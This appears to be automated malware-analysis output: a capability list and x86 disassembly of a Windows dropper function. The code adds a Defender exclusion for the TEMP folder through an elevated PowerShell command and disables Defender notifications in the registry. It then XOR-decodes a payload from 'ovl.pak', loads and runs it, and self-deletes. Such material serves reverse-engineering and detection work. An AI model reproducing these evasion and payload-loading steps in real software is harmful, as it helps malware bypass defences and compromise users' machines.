Function at 0x681824c0
Capabilities:
Create process on windows
Delete file
Encode data using xor
Get common file path
Get file size
Read file on windows
Self delete
Write and execute a file
Write file on windows

Disassembly:
lea ecx, [esp + 4]
and esp, 0xfffffff0
push dword [ecx - 4]
push ebp
mov ebp, esp
push edi
push esi
push ebx
lea ebx, [ebp - 0x388]
push ecx
sub esp, 0x3b8
call fcn.68181620
mov dword [esp + 4], ebx
mov dword [esp], 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
lea eax, [ebp - 0x284]
sub esp, 8
mov dword [esp], ebx
lea ebx, [ebp - 0x38c]
mov dword [esp + 0xc], eax
mov dword [esp + 8], 0
mov dword [esp + 4], 0
call dword [sym.imp.KERNEL32.dll_GetTempFileNameA]
mov eax, dword [sym.imp.SHELL32.dll_ShellExecuteA]
sub esp, 0x10
mov dword [ebp - 0x38c], 1
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], str._inputformat_none__outputformat_none__NonInteractive__Command_Add_MpPreference__ExclusionPath__ENV:TEMP
mov dword [esp + 8], str.powershell
mov dword [esp + 4], str.runas
mov dword [esp], 0
mov dword [ebp - 0x3a0], eax
call eax
mov ecx, ebx
mov edx, str.DisableNotifications
mov eax, str.SoftwareMicrosoftWindows_Defender_Security_CenterNotifications
sub esp, 0x18
call fcn.681814c0
mov ecx, ebx
mov edx, str.DisableEnhancedNotifications
mov eax, str.SoftwareMicrosoftWindows_Defender_Security_CenterNotifications
call fcn.681814c0
mov ecx, ebx
mov edx, str.DisableEnhancedNotifications
mov eax, str.SoftwarePoliciesMicrosoftWindows_Defender_Security_CenterNotifications
call fcn.681814c0
mov eax, dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 4
mov dword [esp + 0xc], 0
mov dword [esp + 8], 7
mov dword [esp + 4], 0x80000000
mov dword [esp], str.ovl.pak
mov dword [ebp - 0x39c], eax
call eax
sub esp, 0x1c
cmp eax, 0xffffffff
je 0x68182894
mov esi, eax
mov dword [esp + 4], 0
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_GetFileSize]
sub esp, 8
mov ebx, eax
lea eax, [ebp - 0x394]
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], eax
mov dword [esp + 8], ebx
mov dword [esp + 4], 0x681c4840
mov dword [esp], esi
call dword [sym.imp.KERNEL32.dll_ReadFile]
sub esp, 0x14
test eax, eax
je 0x68182894
cmp ebx, dword [ebp - 0x394]
jne 0x68182894
sub ebx, 0x36
shr ebx, 2
je 0x6818288d
movzx edi, word [0x681841b4]
xor edx, edx
xor eax, eax
lea esi, cs:[esi]
movzx ecx, word [eax*4 + 0x681c4876]
add edx, 3
xor ecx, edi
mov word [edx + 0x6818603d], cx
movzx ecx, byte [eax*4 + 0x681c4878]
add eax, 1
xor ecx, 0x53
mov byte [edx + 0x6818603f], cl
cmp eax, ebx
jne 0x68182660
lea ebx, [eax + eax*2]
mov dword [esp], esi
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
mov edi, dword [sym.imp.KERNEL32.dll_DeleteFileA]
sub esp, 4
mov dword [esp], str.ovl.pak
call edi
lea eax, [ebp - 0x284]
sub esp, 4
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 2
mov dword [esp + 0x10], 2
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 0x40000000
mov dword [esp], eax
mov eax, dword [ebp - 0x39c]
call eax
sub esp, 0x1c
mov edx, eax
cmp eax, 0xffffffff
je 0x68182894
lea eax, [ebp - 0x390]
mov dword [esp], edx
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], eax
mov dword [esp + 8], ebx
mov dword [esp + 4], 0x68186040
mov dword [ebp - 0x39c], edx
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov edx, dword [ebp - 0x39c]
sub esp, 0x14
test eax, eax
je 0x68182744
cmp ebx, dword [ebp - 0x390]
je 0x681827d2
test edx, edx
je 0x6818274e
mov dword [esp], edx
call esi
push eax
lea ebx, [ebp - 0x180]
mov dword [esp + 4], str._Q__C__timeout_1__del__Q__F
mov dword [esp], ebx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov esi, dword [sym.imp.KERNEL32.dll_lstrcatA]
sub esp, 8
mov dword [esp + 4], 0x681841ab
mov dword [esp], ebx
call esi
sub esp, 8
mov dword [esp + 4], 0x681841ad
mov dword [esp], ebx
call esi
sub esp, 8
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], ebx
mov dword [esp + 8], 0x681841af
mov dword [esp + 4], str.runas
mov dword [esp], 0
mov eax, dword [ebp - 0x3a0]
call eax
xor eax, eax
sub esp, 0x18
lea esp, [ebp - 0x10]
pop ecx
pop ebx
pop esi
pop edi
pop ebp
lea esp, [ecx - 4]
ret
mov dword [esp], edx
call esi
lea eax, [ebp - 0x284]
push ecx
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push ebx
mov ebx, eax
test eax, eax
je 0x6818287c
mov dword [esp + 4], str.main
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push edx
push edx
mov dword [ebp - 0x3a4], eax
test eax, eax
je 0x68182872
mov eax, dword [ebx + 0x3c]
mov eax, dword [ebx + eax + 0x30]
lea esi, [ebx + eax + 8]
mov eax, dword [esi]
mov dword [ebp - 0x39c], eax
xor eax, dword [esi + 4]
mov edx, eax
shr edx, 2
cmp eax, 0xb
jbe 0x6818285f
lea edx, [esi + edx*4]
lea eax, [esi + 8]
mov ecx, edx
sub ecx, eax
and cl, 4
mov ecx, dword [ebp - 0x39c]
je 0x68182853
xor dword [eax], ecx
lea eax, [esi + 0xc]
mov ecx, dword [ebp - 0x39c]
cmp edx, eax
je 0x6818285f
xor dword [eax], ecx
xor dword [eax + 4], ecx
add eax, 8
cmp edx, eax
jne 0x68182853
xor esi, esi
mov dword [esp + 4], esi
mov dword [esp], esi
mov eax, dword [ebp - 0x3a4]
call eax
push eax
push eax
mov dword [esp], ebx
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
push ecx
lea eax, [ebp - 0x284]
mov dword [esp], eax
call edi
push edx
jmp 0x6818274e
xor ebx, ebx
jmp 0x6818268f
or eax, 0xffffffff
jmp 0x681827c6